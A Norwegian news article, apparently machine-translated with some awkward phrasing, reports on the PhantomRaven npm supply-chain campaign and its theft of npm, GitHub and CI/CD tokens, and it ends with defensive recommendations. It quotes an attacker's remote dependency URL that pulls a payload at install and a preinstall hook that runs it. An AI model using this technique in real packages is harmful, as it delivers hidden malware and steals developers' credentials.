Den pågående PhantomRaven npm forsyningskjedeangrep er en sofistikert skadelig programvarekampanje som retter seg mot utviklere over hele verden. Siden august 2025 har angrepet spredt seg 126 ondsinnede npm-pakker som til sammen har blitt lastet ned mer enn 86 000 ganger. Målet er å stjele npm-autentiseringstokener, GitHub-påloggingsinformasjon og CI/CD-hemmeligheter, samtidig som man bruker avanserte teknikker for deteksjon og unnvikelse for å omgå de fleste sikkerhetsverktøy.
Analytiker hos Koi-sikkerhet identifiserte kampanjen i oktober 2025 da deres atferdsovervåkingssystem, Wings, flagget mistenkelig nettverksaktivitet under pakkeinstallasjoner. Alle ondsinnede pakker sendte eksterne forespørsler til samme domene, noe som avslørte en koordinert og global Operasjon.

Hvordan PhantomRaven npm forsyningskjedeangrep fungerer
Undersøkelsen utført av Koi-forskere avdekket en klar tidslinje. De første 21 pakkene ble oppdaget og fjernet i august 2025. Kort tid etter tilpasset angriperne strategien sin og klarte å publisere ytterligere 80 pakker mellom september og oktober som fullstendig omgikk standard deteksjonsmekanismer. Angriperens infrastruktur viser en kontrast mellom teknologisk avansert utførelse og overraskende uforsiktig driftssikkerhet.
For å skjule den ondsinnede koden brukte angriperne en teknikk med eksterne dynamiske avhengigheter. Den tillater at avhengigheter defineres via HTTP-URL-er i stedet for via npm-registeret, for eksempel:
“ui-styles-pkg”: “http://packages.storeartifact.com/ui-styles-pkg.tgz”.
Når en slik pakke installeres, henter npm automatisk den eksterne avhengigheten uten sikkerhetsvalidering eller gjennomsiktighet.
Dette betyr at koden som lastes opp til npmjs.com kan se helt harmløse ut – ofte bare et “hallo verden”-skript – mens den faktiske skadelige nyttelasten hentes dynamisk fra angriperens server ved installasjon. På denne måten omgår PhantomRaven-angripere både statisk kodeanalyse og avhengighetsskanning.
Skjulte avhengigheter og automatisk utførelse
Når den usynlige avhengigheten ankommer offerets system, aktiveres den ondsinnede koden umiddelbart gjennom npms livssyklusskript. Den manipulerte pakke.jsonFilen inneholder et forhåndsinstallasjonsskript, “preinstall”: “node index.js”, som kjøres automatisk uten brukerens viten. Det spiller ingen rolle hvor dypt i avhengighetstreet pakken befinner seg – enhver installasjon av en tilsynelatende legitim pakke kan utløse den ondsinnede kjøringen.
De PhantomRaven npm forsyningskjedeangrep og dermed utnytte npms iboende fleksibilitet til å levere ondsinnet kode i sanntid. Siden hver installasjon henter avhengigheten på nytt fra angriperens server, kan nyttelasten også tilpasses målmiljøet, noe som gjør angrepet svært vanskelig å utføre. oppdage og stoppe.
Hva angriperne samler inn
Etter en vellykket installasjon samler PhantomRaven systematisk e-postadresser fra miljøvariabler, gitconfigfiler, npmrc-konfigurasjoner og forfatterfelt i pakke.json. Den eksfiltrerer også CI/CD-legitimasjon, inkludert GitHub-handlingstokener, GitLab CI-nøkler, Jenkins-pålogginger, CircleCI-tokens og npm publiseringstokener.
Skadevaren utfører deretter en fullstendig systemprofilering: offentlige IP-adresser, vertsnavn, operativsystemer, Node.js-versjoner og nettverkskonfigurasjoner samles inn for å skille mellom bedriftsnettverk og individuelle utviklermaskiner. Denne informasjonen brukes til å identifisere verdifulle mål der angripere kan få større tilgang eller spre seg.
Operasjonell uaktsomhet og sporing
Til tross for den tekniske dyktigheten, viser infrastrukturen tegn på driftsmessig uaktsomhet. Flere e-postkontoer ble opprettet sekvensielt via gratistjenester – fra [email protected] til [email protected] – og brukernavn som npmhell og npmpackagejpd gjentar seg i flere pakker. Denne inkonsekvensen har gjort det mulig for forskere å spore kampanjen til én enkelt aktør, noe som gir håp om fremtidig identifisering og rettsforfølgelse.
.webp)
Anbefalte beskyttelsestiltak
- Roter alle tokener og API-nøkler (GitHub, npm, CI/CD) som kan ha blitt eksponert.
- Utsikt pakke.jsonfiler og identifiser eventuelle avhengigheter som refererer til HTTP-URL-er. Blokker eller fjern dem.
- Implementer SBOM-verktøy som f.eks. CycloneDX eller SPDX for å få full oversikt over avhengigheter og versjonshistorikk.
- Begrens token-tillatelser, bruk kortlivede hemmeligheter og aktiver automatisk rotasjon.
- Introduser atferdsovervåking i CI/CD-miljøer, for eksempel sandkasseanalyse av nye pakker før de distribueres.
- Følge OWASP-standard for verifisering av programvarekomponenter for sikker håndtering av tredjepartsavhengigheter.
- Vurder å bruke private npm-registre og validere avhengigheter før publisering for å redusere risikoen for manipulering i åpne økosystemer.

Analyse og betydning for bransjen
Det økende omfanget av angrep som PhantomRaven npm forsyningskjedeangrep viser tydelig hvordan avhengighetskjeden har blitt en av programvarens største sårbarheter. Etter hvert som selskaper bygger videre åpen kildekode og tusenvis Tredjepartspakker øker risikoen for at én enkelt kompromittert komponent vil få store konsekvenser.
For IT-organisasjoner betyr dette at sikkerhet ikke lenger bare handler om nettverk eller sluttbrukere – det handler om hele utviklingskjeden. Sikker kodehåndtering, pålitelige avhengigheter og kontinuerlig analyse av forsyningskjeden blir et strategisk spørsmål snarere enn en teknisk detalj.
Kampanjen viser også at angripere har begynt å tenke som utviklere: de utnytter eksisterende funksjoner i verktøy som npm for å spre skadelig programvare på en måte som ser helt legitim ut. Dette krever en endring i hvordan selskaper overvåker og verifiserer programvaren sin.
For svenske og nordiske selskaper understreker arrangementet viktigheten av å bygge ekspertise innen sikkerhet i forsyningskjeden for programvare og å overholde internasjonale standarder. Gjennom proaktiv kontroll, delt informasjon og åpenhet samarbeid, kan bransjen være bedre forberedt på det neste store angrepet.








